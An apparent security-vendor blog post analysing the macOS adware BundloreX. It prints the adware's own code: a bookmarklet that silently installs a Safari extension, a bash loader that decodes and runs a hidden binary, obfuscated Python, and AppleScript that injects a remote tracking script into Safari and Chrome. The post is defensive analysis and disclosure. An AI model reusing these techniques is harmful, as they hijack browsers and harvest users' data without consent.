Login

BundloreX Adware evades macOS Mojave. Again.

Author: Daniel Elkabes, Researcher @ Airo Labs

May 11th, 2019

In this analysis, we’ll expose new features, and the inner workings of one of macOS most aggressive pieces of Adware, BundloreX. This Adware is capable of silently overriding users’ system settings, browsers and search settings, and continually injects unauthorized ads. Let’s take a look at how it does that.

In one of our previous blog post about BundloreX, we revealed how BundloreX colluded in a fake “Apple Support” scam. In this post, we will be focusing on the two most prominent mechanisms used to hijack users’ browsers and search settings in order to inject ads.

We will cover two main methods used by the Adware to do so. First is by downloading the “MyShopCoupon” component, which continually injects JS code into the user’s browser. The second is via Safari extension that’s installed during that same installation flow, called “AnySearch”. Both are installed without any user consent or knowledge.

A Brief Background

To those who missed our previous post about this adware, you can either settle for this background or, refer to our previous post (or both).

BundloreX is an installer software, mostly focused on adware distribution, and triggered by “Flash Player” ads or (fake) software update notifications. This adware includes several components that are supposed to allow persistency and control of the infected machine.

Extension Invasion.

While the installer is running, it uses applescript to add a bookmark in Safari. The bookmark contains the following javascript code:

javascript:(
function(){
var id = 'com.matt-swain.anysearch-6M853ET88Q';
var href = 'https://safari-extensions.apple.com/extensions/' + id + '/anysearch.safariextz';
document.onload = function(){
safari.installExtension(id,href);
}}

Opening this bookmark will run the javascript, which will install a Safari extension using a hidden feature in safari-extensions.apple.com. This API, called “safari.installExtension”, allows third-parties to install a gallery extension. Silently, entirely hidden from the user and without any interaction with them.

Since this API only exists in Safari-extensions.apple.com, the adware redirects the browser to a jpg page inside the safari-extensions domain:

https://safari-extensions.apple.com/images/promo-developer_graphic_large.jpg

As soon as this page is launched, applescript runs the above bookmark and, as a result, a new browser extension called “AnySearch” is installed on the browser, which hijacks the browser’s default search settings.

Javascript Injection into Safari and Chrome

We’ll start by describing the injection mechanism used by MyShopCoupon:
BundloreX contains multiple components that support
MyShopCoupon with various functionalities, such as keeping persistency and updates. MyShopCoupon is usually installed silently in the background during the initial installation flow, triggered by the main installer. However, more often than not, we found that it gets downloaded and installed dynamically a day or two after the initial infection (also known as the initial installation flow).

 

MyShopCoupon is a bash script. All it does is to decode a text file from base64 into /tmp/mmLaunchMe and run it. mmLaunchMe is a Mach-o file which is running with all the command-line arguments that MyShopCoupon has (i.e. GUID, tracking URL, home directory).

#!/bin/bash
APP_DIR=`dirname $0`
openssl base64 -d -in $APP_DIR/based -out /tmp/mmLaunchMe
/bin/chmod +x /tmp/mmLaunchMe
/tmp/mmLaunchMe ${*}

mmLaunchMe is the head Mach-o. Disassembling it uncovers just one short main function.

The process is forking into another instance, which is decrypting data and then waiting for the other process, which is responsible for running the decrypted data in python:

r14 = fork();
    if (r14 > 0x0) {
            close(var_38);
            intrinsic_movaps(var_50, intrinsic_movaps(xmm0, *(...
            xmm0 = intrinsic_movaps(xmm0, *(int128_t *)0x1000018a0);
            var_60 = intrinsic_movaps(var_60, xmm0);
            var_70 = intrinsic_movaps(var_70, intrinsic_movaps(xm...
            memcpy(&var_5700, 0x1000018c0, 0x5690);
            r12 = operator new[](0x5687);
            __bzero(r12, 0x5687);
            var_5704 = 0x0;
            rbx = EVP_CIPHER_CTX_new();
            EVP_DecryptInit_ex(rbx, EVP_aes_256_cbc(), 0x0, &var...
            EVP_DecryptUpdate(rbx, r12, &var_5704, &var_5700, 0x5690);
            EVP_DecryptFinal_ex(rbx, sign_extend_64(var_5704...
            EVP_CIPHER_CTX_free(rbx);
            write(var_34, r12, 0x5686);
            close(var_34);
            var_5708 = 0x0;
            waitpid(r14, &var_5708, 0x0);
    }
    else {
            close(var_34);
            dup2(var_38, 0x0);
            execv("/usr/bin/python", r15);

Debugging this code with lldb revealed a python code in memory, which decodes the data it got into a hex string:

# coding: UTF-8
import sys
l1_cp_ = sys.version_info [0] == 2
l11_cp_ = 2048
l11ll_cp_ = 7
def l1ll1_cp_ (ll_cp_):
    global l1l_cp_
    print("".join("{:02x}".format(ord(c)) for c in ll_cp_))
    lastcharvalue = ord (ll_cp_ [-1])
    print(lastcharvalue)
    strnolastcharvalue = ll_cp_ [:-1]
    print("".join("{:02x}".format(ord(c)) for c in strnolastcharvalue))
    Reminder = lastcharvalue % len (strnolastcharvalue)
    print(Reminder)
    strnolastcharvalue2 = strnolastcharvalue [:Reminder] + strnolastcharvalue [Reminder:]
    print("".join("{:02x}".format(ord(c)) for c in strnolastcharvalue2))
    if l1_cp_:
        l1l1_cp_ = unicode ().join ([unichr (ord (char) - l11_cp_ - (l1lll_cp_ + lastcharvalue) % l11ll_cp_)
for l1lll_cp_, char in enumerate (strnolastcharvalue2)])
    else:
        l1l1_cp_ = str ().join ([chr (ord (char) - l11_cp_ - (l1lll_cp_ + lastcharvalue) % l11ll_cp_) for
l1lll_cp_, char in enumerate (strnolastcharvalue2)])
    return eval (l1l1_cp_)
exec l1ll1_cp_(u”LONG_HEX_STRING - Which is the final code”)

Eventually, we received the decoded osascript code. We can clearly see that the whole purpose of this process is to deobfuscate this osascript, which is used to control the browser and inject Javascript code into Safari and Chrome:

Env: {'app_dir': '/Applications/MyShopcoupon/', 'out_of_browser': 0, 'brand': 'MyShopcoupon',
'source': 'None', 'home': '/tmp/', 'dt': 0, 'guid': 'None', 'tracking_url': None}
inBrowser
100 executeAppleScript, script: 
        if application "Safari" is running and exists (window 1 of application "Safari" then
            log "Active"
            run script "tell application \"Safari\"
                do JavaScript \"
        _webhelper_source = {GUID:'None', SOURCE:'None', BRAND:'MyShopcoupon'}
        if ( ! document.getElementById('_webhelper_source') ) { var hiddenInput = document.createElement('input');hiddenInput.id = '_webhelper_source';hiddenInput.type = 'hidden';hiddenInput.value =
JSON.stringify(_webhelper_source);document.getElementsByTagName('body')[0].appendChild(hiddenInput);} if ( ! document.getElementById('__webHelper__')  ){var newScript = document.createElement('script');newScript.id = '__webHelper__';newScript.type = 'text/javascript';newScript.src =
'h**ps://secure.myshopcouponmac.com/servicejs/components/?source=None&version=2.0&isn=4';
        var efs = 
document.getElementsByTagName('script')[0];if(efs){efs.parentNode.insertBefore(newScript, efs);}
else {document.getElementsByTagName('head')[0].appendChild(newScript);}}
     \" in document 1
            end tell"
        end if

* The code for Chrome looks the same

Since the Javascript bundled in the applescript code comes from the server, it can be dynamically updated and changed (as of today, all links are still active).

MyShopCoupon Javascript Analysis

The Javascript code is being injected at the top of the page. The code inside the initial injection is just a wrapper that adds the Javascript code to the head of the page and then loads the ad injection script.

MyShopCoupon first performs a check to see if it’s able to set cookies in the user’s browser, in order to remove automated scrapers. Then it checks if the page is one of its own search pages or feed affiliates.

From there, it calls a series of services which it then injects to the page in order to find a suitable ad. Each service is being identified with the brandName ‘MyShopcoupon’ and unique group ID ‘U2lsWC9VdmZKVmt6am9CbHNGVHBlZz09’ (h**ps://secure.myshopcouponmac.com/servicejs/components/js/?key=pluginew&source=ung-1901&isn=4&group=U2lsWC9VdmZKVmt6am9CbHNGVHBlZz09).

After passing a few more external JS calls, we get to the ‘offer-manager.js’ (h**ps://auctioneer.50million.club/javascripts/offer-manager.js). his function gets all the latest libs from their server. This is done by communicating with the server through jQuery ajax in order to not interfere with the display and behavior of the page.

To ensure getting paid for the injected ads, MyShopCoupon sends a “screenshot” of the page using html2canvas. This mimics the exact page by saving all the HTML data.

If the user is not on a landing page, it sends data about the current page the user is currently at: full URL, tab title, JS status (enable/disable), browser language, cookies status, and “Meta Keywords” (unique tag in HTML, which tells search engines what is the topic of the page), etc. Their server probably parses the meta keywords + tab title + URL and filter for specific keywords, such as  “virus”, “malware”, “flash player”. When the server finds a keyword in its database, and upon a user click, it redirects the page to an ad that meets the relevance criteria.

After it gets the most suitable ad from the server it runs the following code, which redirects the current page to their ad page and will pop a new tab ad with the previous one we were in:

var popUrl = `${serverUrl}/offers/${userId}/${result.offerId}...
var currUrl = window.location;
window.open(currUrl);
window.location = popUrl;

Consequently, the user gets an ad in a new tab in the background, as if it was already there before, illustrated below:

To Summarize

In this analysis, we walked through two different methods used by BundloreX to inject ads and hijack search settings, in MacOS Mojave. One through a hidden extension installation which is still supported by the latest Safari version. The second was a persistent ad injector which manipulates users data to perform a smarter ad delivery.

Despite Mojave’s newly developed counter-measures to restrict the installation of browser extensions, these methods, and more others to come, demonstrate how far could the Adware creativity go.

More about aggressive methods we found to be used by this Adware to take control of users machines and data will be described in upcoming posts. Stay tuned.

Subscribe to our blog

Get Airo

Try Airo AV and Airo Web Protection

Try Airo